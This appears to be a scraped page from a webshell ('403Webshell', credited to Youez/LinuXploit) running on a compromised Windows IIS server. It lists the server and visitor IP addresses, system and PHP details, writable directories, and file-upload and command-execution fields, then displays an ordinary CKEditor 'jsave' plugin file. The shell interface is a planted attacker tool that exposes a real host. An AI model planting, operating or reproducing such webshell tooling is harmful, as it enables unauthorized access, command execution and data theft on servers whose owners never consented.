403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/Engineering/V2/plugins/editors/jckeditor/plugins/jsave/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/Engineering/V2/plugins/editors/jckeditor/plugins/jsave/plugin.js
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/

/**
 * @fileSave plugin.
 */

(function()
{
	
	var win = CKEDITOR.document.getWindow();
	
	
	function getElementByClassName(cl) 
	{
		
		var retnode = [],
		myclass = new RegExp('\\b'+cl+'\\b'),
		doc = CKEDITOR.document.$;
		var elem = doc.getElementsByTagName('*');
		
		for (var i = 0; i < elem.length; i++) 
		{
			var classes = elem[i].className;
			if (myclass.test(classes))
			{
				retnode.push(elem[i]);
				break;
			}
		}
		return new CKEDITOR.dom.nodeList(retnode).getItem(0);
	}
	
	
		
	
	
	var buttons = ['toolbar-apply','toolbar-save','save']; 
	

	for(var i = 0 ; i < buttons.length;i++)
	{
		var button = buttons[i],
			element = CKEDITOR.document.getById(button) || getElementByClassName(button);
			action = '',
			child = null;
			
		if(element)
		{
		
			if(element.getChildCount())
			{
				
				var children =  element.getChildren();
				for (var i = 0; i < children.count();i++)
				{
					child = children.getItem(i);
					if(child.type != CKEDITOR.NODE_TEXT && (child.getName() == 'a' || 'button')  )
					{
					
						action = child.getAttribute('onclick');
						if (action && action.toString().match(/submitbutton\('(.*)'\)/))
						{
							action = RegExp.$1;
						}
						break;
					}
				
				}
			}
		 	break;
		}
		button = '';
	}
	
	
	var saveCmd =
	{
		modes : { wysiwyg:1, source:1 },

		exec : function( editor )
		{
			if ( win.$.submitbutton)
				win.$.submitbutton(action);
		}
	};

	var commandName = 'save';

	// Register a plugin named "save".
	CKEDITOR.plugins.add( 'jsave',
	{
		init : function( editor )
		{
			var command = editor.addCommand( commandName, saveCmd );
			command.modes = { wysiwyg : !!( win.$.submitbutton) };

			if(button)
			{
				editor.ui.addButton( 'Save',
					{
						label : editor.lang.save,
						command : commandName
					});
			}
		}
	});
})();

Youez - 2016 - github.com/yon3zu
LinuXploit